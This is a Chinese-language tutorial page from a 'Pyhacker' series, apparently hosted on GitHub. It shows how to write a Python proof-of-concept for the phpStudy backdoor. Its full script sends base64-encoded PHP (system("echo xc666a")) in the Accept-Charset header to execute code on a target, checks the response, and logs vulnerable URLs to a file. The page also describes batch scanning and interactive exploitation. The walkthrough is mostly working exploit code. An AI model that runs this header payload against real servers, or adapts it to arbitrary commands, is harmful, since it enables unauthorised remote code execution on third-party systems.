Skip to content

Latest commit

 

History

History
122 lines (85 loc) · 3.33 KB

0x10.md

File metadata and controls

122 lines (85 loc) · 3.33 KB

Pyhacker 之 漏洞POC编写

00x1:

需要用到的模块如下:

import requests

import base64

00x2:

既然是漏洞poc编写,那么我们肯定要有poc,当然直接exp利用也可以

每当爆出新的漏洞,就会有专业大佬进行分析,发出poc,我们直接利用即可

第一个例子,拿phpstudy后门为例

先了解一下base64模块

img

00x3:

接下来,你需要去了解一下这个后门,网上有很多分析文章

Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=

了解base64你就可以写一个交互式的Exp

为了确定漏洞准确度,我们可以直接执行输出一个特定字符

cHJpbnRmKG1kNSgzMzMpKTs=

解码得:printf(md5(333));

这样,网页只有这个md5才会确定存在漏洞,准确度极高

img

这里仅已验证漏洞为例c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==

直接写入了base64验证poc,就不演示交互式的利用了,也是同理

核心代码如下:

headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Encoding':'gzip,deflate',
            'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==',
            'Accept-Language':'zh-CN,zh;q=0.9',
            'Connection':'close',
            }

主要就是Accept-Charset请求头,接着去写一个请求

r = requests.get(url=url, headers=headers,timeout=5)
if 'xc666' in r.text:
    print u'over success:',url
else:
    print u'flase:',url

加上结果自动保存:

with open('success.txt','a+') as f:
    f.write(url+"\n")

img

批量检测:

只需要修改最后一行,打开文件遍历url即可,前面讲了,这里就不再多说了

00x5:

完整代码:/books/config/10.[Pyhacker]漏洞Poc编写

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Encoding':'gzip,deflate',
            'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==',
            'Accept-Language':'zh-CN,zh;q=0.9',
            'Connection':'close',
            }

def phpstudy(url):
    try:
        if 'http' not in url:
            url = 'http://' + url
        r = requests.get(url=url, headers=headers,timeout=5)
        if 'xc666' in r.text:
            print u'over success:',url
            with open('success.txt','a+') as f:
                f.write(url+"\n")
        else:
            print u'flase:',url
    except:
        print u'连接超时',url

if __name__ == '__main__':
    url = raw_input('\nurl:')
    phpstudy(url)

注:

如Sql,Xss等漏洞的Poc,也是一样,直接请求就ok,然后去验证,大同小异